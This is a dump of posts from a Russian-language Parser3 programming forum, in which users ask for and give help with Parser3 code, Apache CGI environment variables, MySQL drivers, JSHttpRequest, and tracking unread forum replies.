	$result[^self.sFormatString.match[%(.)][g]{^switch[$match.1]{\
		^case[o]{^_printDateString[$dt1]}\
		^case[n]{^_printDateString[$dt2]}\
		^case[DEFAULT]{%$match.1}\
	}}]\
}\
# end @_printDate[]\
\
\
\
@_printDateString[dt][result;sDt]\
$sDt[^dtf:format[$self.sDtfFormatString;$dt]]\
^if($dt > $self.dtLimit){\
	^if($self.sMode eq \"xml\"){\
		^_printTag[$sDt;new]\
	}{\
		^_printTag[$sDt;$self.sNewTagName;$self.sNewAttributes]\
	}\
}{\
	^if($self.sMode eq \"xml\"){\
		^_printTag[$sDt;old]\
	}{\
		^_printTag[$sDt;$self.sOldTagName;$self.sOldAttributes]\
	}\
}\
# end @_printDateString[]\
\
\
\
@_printTag[sData;sTag;sAttributes]\
^if(def $sTag){\
	$result[<$sTag^if(def $sAttributes){ $sAttributes}>^sData.trim[]</$sTag>]\
}{\
	$result[^sData.trim[]]\
}\
# end @_printTag[]\
[/code]"
"60097","Спасибище громадное."
"60098","Например, в одном моём проекте нужно форматировать промежуток между двумя датами, и вариантов там больше:\
\
1 января 2007\
1—15 января 2007\
1 января — 10 февраля 2007\
25 декабря 2006 — 3 января 2007"
"60099","Я этот класс использую там, где мне надо вывести рядом дату создания и дату изменения. Например как на этом форуме.\
\
Кстати, из приведенных примеров не понимаю, что мешает реализовать 1 и 4 варианты с помощью класса."
"60100","Мешает то, что я просто отдаю две даты, а нужный вариант выбирает класс."
"60101","Я застрял на втором уроке.\
\
[b]auto.p[/b] - написал подобным образом:\
\
[code]@main[]\
^header[]\
^body[]\
^footer[]\
\
@navigation[]\
$sections[^table::load[/sections.cfg]]\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
   <tr  bgcolor=\"#FFFFFF\">\
   ^sections.menu{\
      ^navigation_cell[]\
   }\
   </tr>\
</table>\
<br>\
\
@navigation_cell[]\
$cell_width[^eval(100\\$sections)%]\
^if($sections.uri eq $request:uri){\
   <td width=\"$cell_width\" align=\"center\" bgcolor=\"#A2D0F2\"> \
   <nobr>$sections.name</nobr>\
   </td>\
}{\
   <td width=\"$cell_width\" align=\"center\"> \
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
   </td>\
}\
\
@header[]\
<html>\
<head>\
<title>Тестовый сайт Parser3</title>\
</head>\
<body bgcolor=\"#FAEBD7\">\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
   <tr  bgcolor=\"#FFFFFF\" height=\"60\">\
      <td align=\"center\">\
         <font size=\" 2\"> <b>^greeting[]</b></font>\
      </td>\
   </tr>\
</table>\
<br>\
\
@body[]\
^navigation[]\
<table width=\"100%\" height=\"65%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
   <tr  bgcolor=\"#ffffff\" height=\"100%\">\
      <td width=\"30%\" valign=\"top\" bgcolor=\"#EFEFEF\">\
         <b>^body_additional[]</b>\
      </td>\
      <td width=\"70%\" valign=\"top\">\
         ^body_main[]\
      </td>\
   </tr>\
</table>\
<br>\
\
\
@footer[]\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"0\">\
   <tr>\
      <td></td>\
   </tr>\
</table>\
$now[^date::now[]]\
<font size=\"-3\">\
<center>Powered by Parser3<br>1997-$now.year</center>\
</font>\
</body>\
</html>[/code]\
\
[b]HTML:[/b]\
\
[code]^main[]\
\
@greeting[]\
Добро пожаловать!\
\
@body_additional[]\
Главная страница сайта\
\
@body_main[]\
Основное содержание[/code]\
\
[b]Браузер выдает:[/b]\
\
\
[quote]Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, [no address given] and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.[/quote]\
\
[b]В логе, что-то вроде:[/b]\
\
[quote]...htdocs/index.html(1:2): 'main' call canceled - endless recursion detected [parser.runtime][/quote]\
и\
[quote]...htdocs/index.html(2:1): parse error, expecting `$' [parser.compile][/quote]\
\
Предполагаю, что где-то пропустил \"$\". Но где?\
\
[i]P.S.  Предполагаю, что дело в описание структуры, так как на этапе навигации все работало. [/i]"
"60103","Большое спасибо, все исправилось буквально за 1 сек. :-)"
"60104","Каталог 2pay.ru/test/\
защищиен паролем test:test\
\
http://2pay.ru/test/test.php - в php доступна переменная REMOTE_USER\
\
http://2pay.ru/test/test.html - в парсере эта переменная не доступна... \
\
Баг вылез после переезда новый сервер. Админ пока чешет затылок и молчит. Подскажите куда копать."
"60105","Ответ админа:\
[quot]Parser не полностью совместим с Apache 2.2. Если быть точным, он совместим только с Apache 1.3. Практически уверен, что проблема в этом т.к. REMOTE_USER любой CGI-скрипт (в т.ч. и Parser) спрашивает у Apache. \
Какие варианты решения: \
1. Заменить дисковый темплейт на \"ISPmanager\". Там в комплекте идет Apache 1.3. Минус решения: темплейт уже достаточно устарел и через через год мы возможно перестанем его обновлять. Учтите, что при переустановке VDS теряются все ваши данные и настройки. \
2. Поставить на VDS свой Apache. Минус решения: дальше он не будет обновляться месте с нашим дисковым темплейтом и вам придется его обновлять самостоятельно. С наилучшими пожеланиями, John Lepikhin, ISPserver.com.\
[/quot]\
\
третего не дано?"
"60106","... а заодно проделайте то, что описано в http://www.parser.ru/forum/?id=59786"
"60107","http://вашсайт/cgi-bin/printenv.cgi\
[quot] DOCUMENT_ROOT = /home/dvapay/data/www/2pay.ru\
GATEWAY_INTERFACE = CGI/1.1\
HTTP_ACCEPT = text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\
HTTP_ACCEPT_CHARSET = windows-1251,utf-8;q=0.7,*;q=0.7\
HTTP_ACCEPT_ENCODING = gzip,deflate\
HTTP_ACCEPT_LANGUAGE = ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\
HTTP_CONNECTION = keep-alive\
HTTP_COOKIE = p=3; ispmgr4=classic:ru:1720362187; sid=B61C0FCE-DB9A-418A-AA31-C298063C2902\
HTTP_HOST = www.2pay.ru\
HTTP_KEEP_ALIVE = 300\
HTTP_USER_AGENT = Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\
PATH = /usr/local/bin:/usr/local/bin:/usr/bin:/bin\
QUERY_STRING =\
REMOTE_ADDR = 89.20.121.77\
REMOTE_PORT = 4410\
REQUEST_METHOD = GET\
REQUEST_URI = /cgi-bin/printenv.cgi\
SCRIPT_FILENAME = /home/dvapay/data/www/2pay.ru/cgi-bin/printenv.cgi\
SCRIPT_NAME = /cgi-bin/printenv.cgi\
SERVER_ADDR = 82.146.40.60\
SERVER_ADMIN = dvapay@ya.ru\
SERVER_NAME = www.2pay.ru\
SERVER_PORT = 80\
SERVER_PROTOCOL = HTTP/1.1\
SERVER_SIGNATURE =\
SERVER_SOFTWARE = Apache/2.2.4 (FreeBSD) PHP/5.2.1 with Suhosin-Patch mod_ssl/2.2.4 OpenSSL/0.9.7e-p1[/quot]\
\
\
\
[quote]Кодя для начала покажите...[/quote]\
Код test.html\
[code]env:REMOTE_ADDR =$env:REMOTE_ADDR<br>\
env:REMOTE_USER =$env:REMOTE_USER\
[/code]"
"60108","... если и там будет отсутствовать REMOTE_USER - теребите админа. Пусть он вам расскажет почему их Перл не совместим со вторым апачем. :)"
"60109","[quot] AUTH_TYPE = Basic\
DOCUMENT_ROOT = /home/dvapay/data/www/2pay.ru\
GATEWAY_INTERFACE = CGI/1.1\
HTTP_ACCEPT = text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\
HTTP_ACCEPT_CHARSET = windows-1251,utf-8;q=0.7,*;q=0.7\
HTTP_ACCEPT_ENCODING = gzip,deflate\
HTTP_ACCEPT_LANGUAGE = ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\
HTTP_CACHE_CONTROL = max-age=0\
HTTP_CONNECTION = keep-alive\
HTTP_COOKIE = sid=B61C0FCE-DB9A-418A-AA31-C298063C2902; p=3; ispmgr4=classic:ru:1001752216\
HTTP_HOST = www.2pay.ru\
HTTP_KEEP_ALIVE = 300\
HTTP_USER_AGENT = Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\
PATH = /usr/local/bin:/usr/local/bin:/usr/bin:/bin\
QUERY_STRING =\
REMOTE_ADDR = 89.20.106.178\
REMOTE_PORT = 1884\
REMOTE_USER = test\
REQUEST_METHOD = GET\
REQUEST_URI = /cgi-bin/printenv.cgi\
SCRIPT_FILENAME = /home/dvapay/data/www/2pay.ru/cgi-bin/printenv.cgi\
SCRIPT_NAME = /cgi-bin/printenv.cgi\
SERVER_ADDR = 82.146.40.60\
SERVER_ADMIN = dvapay@ya.ru\
SERVER_NAME = www.2pay.ru\
SERVER_PORT = 80\
SERVER_PROTOCOL = HTTP/1.1\
SERVER_SIGNATURE =\
SERVER_SOFTWARE = Apache/2.2.4 (FreeBSD) PHP/5.2.1 with Suhosin-Patch mod_ssl/2.2.4 OpenSSL/0.9.7e-p1[/quot]"
"60110","Коллеги, подскажите как используя JSHttpRequest передать table из серверной части в клиентскую?\
\
Вот [url=\"http://www.parser.ru/forum/?id=41408\"]тут[/url] написано, что [quote]Доступ к любому элементу такой таблицы/массива можно будет получить через Имя_таблицы.номер_строки.имя_столбца.[/quote]\
Я пробую, но нифига не вытанцовывается :-(\
\
серверная часть:\
[code]@main[]\
$hRequest[^JSHttpRequest:decodeRequest[]]\
$listcity[^MAIN:pSQL.table{SELECT id, name FROM city WHERE idregion=$hRequest.q ORDER BY name}]\
$countcity[^MAIN:pSQL.table{SELECT count(*) as vsego FROM city WHERE idregion=$hRequest.q}]\
$hParserVariable[\
   [b]$.q[^JSHttpRequest:_table2js[$listcity]][/b]\
   $.all[$countcity.vsego]\
]\
^JSHttpRequest:printResponse[Отладочное сообщение;$hParserVariable][/code]\
\
Клиентская часть (внутри req.onreadystatechange = function())\
[code]var oCityList = document.forms[\"form_select\"].elements[\"city\"];\
var oCityListCnt = oCityList.options.length;\
oCityList.length = 0;\
for (i=0; i<req.responseJS.all; i++){\
var newCityListOption = document.createElement(\"OPTION\");\
[b]newCityListOption.text = req.responseJS.q.i.id;\
newCityListOption.value = req.responseJS.q.i.name;[/b]\
oCityList.options.add(newCityListOption);\
}[/code]\
\
Ткните носом, где ошибся."
"60112","Здравствуйте.\
Пишу сейчас форум, хочу сделать, чтобы зарегистрированные пользователи видели сколько непрочитанных ими ответов в каждой теме.\
Как это лучше реализовать? \
\
Сделать табличку userId, topicId, lastViewDate? И выбирать количество  ответов после этой даты?\
\
Или писать id последнего ответа в топике? Но ответ могут и удалить..\
\
Да, форум обещает быть умеренно активным, в большой нагрузке сильно сомневаюсь.."
"60113","попробуйте [i]Имя_таблицы[номер_строки].имя_столбца[/i]\
[code]newCityListOption.text = req.responseJS.q[i].id;\
newCityListOption.value = req.responseJS.q[i].name;[/code]"
"60114","второй sql-запрос не нужен, ибо числовое значение таблицы равно количеству ее строк[code]$hParserVariable[\
   $.q[$listcity]\
   $.all($listcity)\
]\
[/code]\
\
кстати $.all вообще можно не передавать, количество строк можно узнать и на клиентской стороне\
[code]for (var i=0, all=req.responseJS.q.length; i<all; i++){ ...[/code]"
"60115","Посмотрел. В конфиге апача уже было указано:\
\
<Directory /home/dvapay/data/www/2pay.ru>\
FCGIWrapper /home/dvapay/data/php-bin/php .php\
AllowOverride All\
Options +ExecCGI\
</Directory>\
\
Попробовал поменять на AllowOverride AuthConfig, но никакого эффекта это не дало. Переменной как не было так и нет."
"60116","Директивы надо прописывать для /cgi-bin"
"60117","[quot]\
Вы немного не так поняли, в данном случае требуется положить .htaccess файл в директорию cgi-bin, да, в этом случае все работает, но пароль будет спрашиваться по всему сайту. [/quot]"
"60118","уберите htaccess из cgi-bin, возьмите имеющийся у вас перловый скрипт, переименуйте его в parser3.cgi, положите в cgi-bin и обратитесь к html документу, находящемуся в директории, защищенной паролем и которому назначен созданный вами обработчик и убедитесь что указанной переменной нет. \
\
после этого опишите всё вашему админу и попросите прояснить ситуацию -- персера нет, сваливать вину будет не на что, он пойдет разбираться с апачем."
"60119","почему-то все игнорируют этот пост ;)\
на счет env.pl не знаю, но у меня на Apache2 работает именно REDIRECT_REMOTE_USER"
"60121","Никогда не знаешь, какова загрузка кажеться. На днях, на сайте Ubuntu упала CMS, из-за неожиданного наплыва пользователей, в связи с выходом новой версии.\
\
Я один раз с этим столкнулся на практике, и поэтому больше не экономлю."
"60123","а работа — не клуб альтруистов.\
на работе мы зарплату получаем, знаете ли, которую платят нам из денег клиентов.\
\
нет денежного клиента = нет фичи.\
такое вот отношение.\
\
неденежные отношения, любовь то бишь, исключительно без принуждения. хотите разобраться, прислать правильный configure.in и чуть поправленные в паре-тройке мест исходники, всегда будем рады."
"60124","Увы, такой вариант тоже не прокатил.\
newCityListOption.text и newCityListOption.value получились undefined"
"60128","примерно так делал:\
есть отдельная таблица статистики.\
UserId TopicId Date\
заодно можно и посчитать кол-во пользователей в определенном теме/разделе.\
\
работает довольно шустро где-то при 1500 посетителей в сутки."
"60129","что нам это дает? всё равно по id нужно будет доставать дату и плясать от неё. при этом запись может удалиться (как ты и писал), дата может измениться (отредактировали запись)."
"60130","К то знает как можно по быстрому решить проблему\
\
'./lib/libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', can't open the module [<no type>]\
\
в суппорт писать бесполезно так как Dedicated. \
Если кто знает подскажите !!!"
"60131","Я тут подумал, что может идея не так и плоха.\
Хранить в таблице userId, topicId, lastPostId. \
И выбирать потом для нужного топика: \
select count(*) from posts where topicId = $topicId and id > $lastPostId order by id\
Id-то primary key следовательно старшие будут в любом случае больше.\
И проблема удаленного сообщения тоже не актуальна: следующие после удаленного поста по id будут в любом случае старше, против автоинкремента не попрёшь.\
\
Мне просто кажется, что сравнение чисел будет побыстрее сравнения дат.\
Жду критики, в общем. :)"
"60132","Лет пять назад сделал так и до сих пор не пришлось переделывать :-)\
\
[code]mysql> desc member;\
+----------------+-------------+\
| curr_visit     | timestamp   |\
| last_visit     | timestamp   |\
\
\
\
mysql> desc message;\
+-----------+-------------+\
| date      | timestamp   |[/code]\
\
\
Сейчас бы я вместо timestamp поставил datetime, но сути это не меняет. Никаких дополнительных таблиц делать не нужно."
"60134","[quot]Id-то primary key следовательно старшие будут в любом случае больше.[/quot]\
\
из PK этого не следует, из auto increment -- да.\
\
\
[quot]\
сравнение чисел будет побыстрее сравнения дат.\
[/quot]\
\
дата == число. да, DATETIME у mysql занимает больше чем INT (8 против 4 байт, а TIMESTAPM кстати занимает столько-же). но... я бы не добавлял в решение ещё одну условность, связанную с autoincrement-ом. решение с датами по моему легче понимается человеческим мозгом :)"
"60135","Оно просто показывает непрочитанные темы, а я хочу ещё и количество непрочитанных ответов в теме показывать. \
И вообще, слишком хардкорно.\
Хотя softwaremaniacs.org жжот как обычно, получил истинное удовольствие от идеи. :)"
"60136","Это для показа тем с непрочитанными ответами, а я хочу ещё и их количество. :)"
"60137","[quot]из PK этого не следует, из auto increment -- да.[/quot]\
Привычка - PK всегда auto_increment.\
\
А насчет дат согласен, так и буду делать.\
Недостаточное образование по mysql'ю сказывается. :)"
"60140","Пишется время посещения пользователем форума и последнее изменение в теме.\
А для каждой темы как новые сообщения показать?\
А если человек зашел на форум - там 10 тем не прочитанных. Он прочитал одну, а на остальные забил."
"60141","[code]@USE\
JSHttpRequest.p\
\
@main[]\
$tPerson[^table::create{id	name\
27	Bill\
28	John\
32	Monika}\
]\
<html><body>\
<div id=\"container\"></div>\
<script>\
var person = ^JSHttpRequest:_object2js[$tPerson];\
var container = document.getElementById(\"container\");\
for (var i=0, all=person.length; i<all; i++){\
	container.innerHTML += person[i].id + \" \" + person[i].name + \"<br>\";\
}\
</script>\
</body></html>[/code]\
у вас на каком-то этапе значения теряются, попробуйте методом научного тыка определить, где именно они теряются (начиная от sql-запроса)\
[code]^if($listcity){ok}{no data}\
\
...\
\
alert(req.responseJS.q[0].id + \" \" + req.responseJS.q[0].name);[/code]"
"60142","Форум не калькулятор :-) Пользователям на самом деле достаточно знать, что они не прочитали [i]с последнего захода[/i]."
"60143","По идее, должно подходить. \"set_news\" отдает как раз количество новых статей в топике или всем форуме (для каждого топика или форума), я просто не использую его никак кроме проверки на > 0."
"60144","Наткнулся на интересный баг (или не баг)\
\
есть метод, который возвращает большой код\
получаю ошибку о нехватке памяти\
но если я этот код пишу в переменную и читаю потом то ошибки нет\
примерный код:\
1)\
[code]\
@mymeth[]\
  <html>...</html>\
\
@main[]\
 ^mymeth[][/code]\
\
ошибка нехватки памяти\
\
2)\
[code]\
@mymeth[]\
  $sCode[<html>...</html>]\
\
@main[]\
 ^mymeth[]\
 $sCode\
[/code]\
все ок\
почему и как правильно себя вести??"
"60145","Самое странное, что строкой я данные отдаю. \
\
[code]$hParserVariable[\
   $.id[^JSHttpRequest:_string2js[^listcity.menu{$listcity.id}[,]]]\
   $.name[^JSHttpRequest:_string2js[^listcity.menu{$listcity.name}[,]]]\
][/code]\
\
А где они теряются если передавать как table я не нашел - в frontend передается undefened :-("
"60147","Зачем нужен ^void:sql{sql-query} если он не возвращает результат? Вернее, почему нет нормального и полноценного метода, который возвратит нормальные данные...\
\
Ну, вроде того:\
\
[code]$r[^foo:sql{update tablename set value = 'newvalue' where title = 'sometitle'}]\
\
^if($r){\
	Ура, изменилось ^bar[$r] строк...\
}{\
	Сорри, не удалось выполнить запрос...\
}[/code]\
\
По идее API для MySQL должен возвращать 1 или 0 (результат запроса удался или нет, соответственно). А также количество рядов, которые изменились в результате запроса insert, update, delete.\
\
Что может сказать какой-нибудь знающий человек по этому поводу или автор парсера?"
"60148","Хм, и правда, просмотрел я как-то. \
Спасибо, пригляжусь повнимательнее."
"60149","...если вам критично количество затронутых строк, перед самим запросом [code]^void:sql{update tablename set value = 'newvalue' where title = 'sometitle'}[/code] сделайте запрос [code]^int:sql{select count(id) from tablename where title = 'sometitle'}[/code] и... все. Может не совсем спортивно, но работает. Просто обычно данные, возвращаемые void-ом ненужны, и, я думаю, именно поэтому они были опущены в Парсере."
"60150",":)\
неа\
пробовал \
да и это очевидно одно и то же\
[code]@meth[]\
<html>...</html>[/code]\
\
[code]@meth[]\
$result[<html>...</html>][/code]\
потому что так устроен язык"
"60151","Добрый день!\
Есть файл .xls, в некоторых ячейках которого есть переводы строк. Нужно научится из этого файла загружать данные на сайт.\
Что бы разбирать именно .xls файл, нужно вызывать внешние скрипты, что делать не очень хочется. Хочется обойтись дедовским методом с save as tab-delimited. только вот в этом tab-delimited получаются новые строки в том месте, где в каком-то текстовом моле исходной Excel'евской таблицы был перевод строки.\
\
Кто-нибудь сталкивался?\
Есть мысли?"
"60152","вот так[code]$.q[^JSHttpRequest:_table2js[$listcity]][/code] неправильно, так у вас таблица сериализируется в JSON, результат передается методу ^JSHttpRequest:printResponse[], где повторно сериализируется, уже как string. Правильно, так как я показал ранее:[code]$.q[$listcity][/code]"
"60153","http://www.parser.ru/docs/lang/tableoptionsfmt.htm"
"60154","[code]^void:sql{update ... | insert ... | delete ....}\
$rows(^int:sql{SELECT ROW_COUNT()})[/code]\
\
В $rows буит лежать количество обновленны/вставленных/удаленных записей в процессе последней операции (версия Mysql с 5.0.1)"
"60155","Ну и кроме того, в файле могут встретится точки с запятой с большей вероятностью, чем символ табуляции.\
Или я что-то не так понял?"
"60156","Ну да, это перед каждым запросом и после него делать еще запросы? Три запроса вместо одного?\
\
А если что-нибудь не такое тривиальное? \
И что у нас получится?\
\
А если ещё и в цикле? Бред."
"60157","А если меньше 5.0.1? \
Когда-то предлагали драйвер переписать...\
\
Ответ один - и кому это теперь надо."
"60158","В форуме нашел что можно разрешения экрана определить в комбинации Java + cookie + parser. Решил использовать след. схему:\
[code]\
<SCRIPT>\
if (navigator.javaEnabled()) {\
var toolkit = java.awt.Toolkit.getDefaultToolkit();\
var screen_size = toolkit.getScreenSize();\
width = screen_size.width;\
}\
document.cookie=\"www=width\"\
</SCRIPT>\
\
$cookie:width\
[/code]\
[b]Результат: [quote]width[/quote]\
А мне бы цифры... Кто силен в жаве, подскажите, как указать что width это значение width переменной, а не значение.\
Заранее спасибо."
"60161","Заказал перенос площадки на мастерхосте на Mysql-5. В результате получаю ошибку:\
[Mon Apr 23 23:36:31 2007] [error] [client 87.103.254.132] Premature end of script headers: /home/.../cgi-bin//parser3.cgi\
/usr/libexec/ld-elf.so.1: /usr/local/lib/mysql/libmysqlclient.so: Undefined symbol \"gethostbyname_r\"\
\
Естественно, не зависит от версии Парсера и sql-драйвера. В чем может быть дело? Спасибо."
"60162","Могу очень сильно ошибаться тк года 2 не решал эту проблему, помоему достаточно установить что-то вроде этого только для вашей ОС\
ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-4-stable/All/mysql-client-4.1.22.tgz"
"60163","[quote]^void:sql{SQL-запрос}\
\
Осуществляет выполнение SQL-запроса, который не возвращает результат (операции по управлению данными в базе данных).[/quote]\
вот от этого следует начинать плясать :) ==1\
2=нужные переменные Вам можно получиьть с помощью ^table::sql\
\
3=а если будет ^if(!$r) тогда Parser выдаст ошибку, которую можно обработать, с помощю ^try{...}\
\
4=и это здорово, поверте! :)"
"60164","чтобы узнать разрешение экрана пользователя, нужно допустим, повесить на любую картинку типа этого:\
<script>\
document.write('<img src=\"/images/count.html?width='+screen.width+'&height='+screen.height+'&userid=111>');\
</script>\
\
ну или что-то типа этого... и потом уже в \"/images/count.html\" обрабатывать данные.\
\
кстати, сам давно бьюсь с этой проблемой, буду рад услышать что-то лучшее :)"
"60166","С Парсером работаю недавно и вот столкнулся с задачей защиты от дублирования данных при reload/back формы. Посмотрев форум и др. подходящих рецептов для этого чтото не нашел. Видел пример feedback на сайте, но там защиты от back нет. Вообщем решил задачку следующим образом: из пришедшего запроса с данными формы делается MD5 хэш. и сравнивается с предыдущим значением, сохраненным ранее в файле (в файле потому, что как я понял из документации, глобальных переменных сохраняемых парсером между отдельными обращениями к странице, не существует). Если хэши разные, то данные добавляются, если одинаковые, то показывается сообщение о том, что эти данные уже добавлены. \
Вообщем все вроде работает, но хотелось бы услышать критику знатоков Парсера. Сам могу предположить только, что это схема будет неплохо работать на сайтах с небольшой нагрузкой (какой и создается),т.к. файловые операции всеж не быстрые сами по себе.\
Из замеченных проблем скрипта: почему-то притестироании на Денвере, когда еще нет файла с хэшем, при первом запуске, исключение при попытке считывания файла обрабатывается нормально,без ошибок сервера, файл создается и далее все идет корректно.\
А тоже самое на хостинге ( мастерхост.ру ) привело к ошибочной странице (но файл всеж создался) и только после релоада все стало нормально... Может какие-то нюансы не учитываю?\
\
собственно сам скрипт защиты:\
\
#таблица с новостями\
$news[^table::load[/news/news.cfg]]\
\
#анализ данных формы\
^if($form:act eq 'do'){\
#считается хэш пришедшего запроса\
  $thisreq[^math:md5[$request:body]] \
#читаеся файл содержащий хэш предыдущего запроса\
  ^try{ $lastreq[^file::load[text;/lastreq.txt]] }{\
     $lastreq[^file::create[text;/lastreq.txt;]]\
	 ^lastreq.save[text;/lastreq.txt]\
  }\
#сравнение хэшей\
  ^if($lastreq.text eq $thisreq){\
  	 <h3>Эти данные уже добавлены.</h3>\
  }{\
#если хэши, а значит и данные формы, разные -то добавляем их	\
        $datestr[$form:newsdate]\
	$outstr[$form:newstext]\
	^if(^datestr.length[] > 0){\
	    ^if(^outstr.length[] > 0){\
 	       ^news.append{^datestr.match[\\n][g]{<br/>}	^outstr.match[\\n][g]{<br/>}} \
	       ^news.save[/news/news.cfg] \
	       ^thisreq.save[/lastreq.txt]\
	       $ShowMyForm(0)\
	       <h3>Данные добавлены.</h3> \
	    }{<h3>Не заполнено поле новости.</h3> }\
	}{<h3>Не заполнено поле даты.</h3> }\
  }\
}{ $ShowMyForm(1) }\
\
#показ формы\
^if($ShowMyForm){\
	<div style=\"padding-bottom:10px\" class=\"bigtext\">Управление новостями:</div>\
	<form method=\"POST\" action=\"\">\
	Дата новости: \
	<div><input type=\"text\" name=\"newsdate\"/></div>\
	Описание новости:\
	<div><textarea name='newstext' cols='30' rows='15'></textarea></div>\
	<input type=\"hidden\" name=\"act\" value=\"do\"/>\
	<input type=\"submit\" name=\"go\" value=\" Добавить новость \"/> \
	</form> \
}"
"60167","то, что вам нужно находится здесь http://www.parser.ru/examples/antiflood/\
\
а ваш вариант не годится.\
- Пользователь 1 отправил форму\
- Пользователь 2 отправил форму\
- Пользователь 1 нажал F5 - его пост задублируется, т.к. в вашем lastreq.txt уже другая информация."
"60168","1. вы неверно используете ^try{}: в случае ошибки надо бы в catch секции сказать парсеру, что с ошибкой вы разобрались самостоятельно ($exception.handled(1)). именно поэтому у вас ошибка когда файла не существует. и я кстати, сначала проверил бы существавание файла (^if(-f...)).\
\
2. создать файл можно проще, без file::create: $sDummy[dummy] ^sDummy.save[/lastreq.txt]\
\
3. вы всё пишите в один файл, это означает что два посетителя могут за него подраться: пришел пост от первого посетителя, пришел пост от второго посетителя, пришел пост от первого посетителя, нажавшего Reload...\
\
4. $datestr[$form:newsdate] ^if(^datestr.length[] > 0){...} -- мы в парсере так не делаем, ибо у нас есть: ^if(def $form:newsdate){...}\
\
5. [code]\
$news[^table::load[/news/news.cfg]]\
...\
^news.append{^datestr.match[\\n][g]{<br/>} ^outstr.match[\\n][g]{<br/>}} \
^news.save[/news/news.cfg][/code]\
\
можно проще:\
[code]\
$sLine[^datestr.match[\\n][g]{<br/>} ^outstr.match[\\n][g]{<br/>}]\
^sLine.save[append;/news/news.cfg]\
[/code]\
\
6. [quot]\
подходящих рецептов для этого чтото не нашел\
[/quot]\
\
в примерах есть antiflood и antispam. первый -- только для защиты от дублирование, второй -- ещё и для защиты от спама. работают по иному принципу: перед отобращением формы каждый посетитель получает уникальный uid (билет), действующий один раз. второй раз (Reload, Back|Forward) с одним и тем-же билетом не пройти. в качестве хранилища используются не файлики, а hashfile."
"60169","Misha v.3 -спасибо большое за комментарии. Счас подправлю все:)"
"60170","...что тут все дело во встроенном в Парсер сборщике мусора. с принципами его работы не знаком, но вероятно после присвоения значения переменной идет глобальная очистка памяти."
"60171","вот и перепишите.\
\
Вам зачем нужна информация о строках, может сначала расскажите?.."
"60172","Похоже на редирект, который драйвер отловить не может. Хотя, поиск \"gethostbyname_r\" выдает только php-функцию с этим именем. Но я точно знаю, что никакого пхп у меня нет:((\
\
Кстати, проблема только в парсере-3, парсер-2 прекрасно коннектится."
"60173","У них, по ходу, незаметно сменилась и ось. Надо предупреждать, ага.\
Канает сборка под FreeBSD6 c этого сайта. Я ставил 3.2.1. Либасо тоже из того комплекта должна стоять."
"60174","[quot]\
У них, по ходу, незаметно сменилась и ось. Надо предупреждать, ага.\
[/quot]\
\
я тащусь с таких хостингов %-)"
"60175","Надо почту просто читать :-)\
\
[quote]Вас приветствует компания .masterhost!\
\
Наша компания проводит плановое технологическое\
перевооружение своих серверов виртуального хостинга, в\
частности устанавливает операционную систему FreeBSD 6.xx,\
обновляет интерпретатор PHP и сервер баз данных MySQL до\
версий 5.xx.\
\
<...>\
Для Вашего удобства перенос площадки может быть осуществлен\
в любое удобное для Вас время в автоматическом режиме.\
Заказать смену версий и указать удобное время переноса Вы\
можете в Вашей контрольной панели.\
[/quote]"
"60176","Код:\
[code]@main[]\
	$o(100)\
	^method($o)\
@method[i]\
#	$i($i)\
	^while($i >= 1){\
			$s[$i ]\
			^s.save[append;s.txt]\
			$i\
			^i.div(10)\
	}[/code]\
\
Результат: [quote][b]while[/b] endless loop detected[/quote]\
В s.txt лежит последовательность чисел 100 в количесвте 80кБ\
\
Если в @method[i] раскомментировать первую строку (или написать явно $i(100)) - то все ок -> 100 10 1\
\
или снова фича? :)\
\
P.S. Да, кстати, если вместо ^i.div(10) написать $i($i/10) - то тоже все ок."
"60177","Ни здесь (единственный раздел, прошу заметить),\
http://masterhost.ru/support/faq/technical/to-php5-mysql5/\
ни в панели управления об эом не сообщается."
"60178","Оригинальный скрипт:\
[code]<SCRIPT>\
if (navigator.javaEnabled()) {\
var toolkit = java.awt.Toolkit.getDefaultToolkit();\
var screen_size = toolkit.getScreenSize();\
width = screen_size.width;\
height = screen_size.height;\
}\
document.write('Your screen size is '+width+'X'+height)\
</SCRIPT>[/code]\
А мне нужно передать результат в куки. Но не могу, см. выше. Передает не значение, а название переменной"
"60180","В \"/images/count.html\"\
\
можно их записать в cookie:\
$cookie:size[${form:width}x${form:height}]\
\
Минус только в том, что это значение не будет доступно при первом открытии страницы, со следующего клика по ссылке на сайте его можно будет использовать..."
"60181","[code]<SCRIPT>\
width=screen.width;\
document.cookie=\"width=\"+width\
</SCRIPT>\
\
$cookie:width[/code]\
\
тогда выдает разрешение.... но тоже - при первой загрузке страницы значение получается пустое"
"60182",".. мне нужно просто пропарсить 1 XML файл. и все. даже в инет выкидывать его не надо.  просто пропарсить..\
как это сделать ?"
"60183","Вот именно, это заказывается в панели, но в выпад.списке там только \"пхп5+мускл5\", никаких Фрибсд6"
"60184","Здравствуйте!\
Я собираюсь сделать вторую версию сайта eterna-izdat.ru на парсере, из определенных соображений...\
\
Вот теперь перейдем к вопросу про выборку из таблицы.\
Значит есть страница \"Серийный издания\", при попадании на эту страницу мы видим названия серий. Нажимаем на название и попадаем на страницу с описанием книг. На сайте это реализовано по-простому, при нажимании на эту страницу мы видим книги с описанием, то что мы видим это содержание поля body, в котором написаны описания книг в тегах HTML, то-есть таблицы с книгами нету.\
\
Я хочу сделать так:\
есть таблица seria и таблица books.\
[b]seria[/b]: [i]seria_id | title | type | id_книг[/i]\
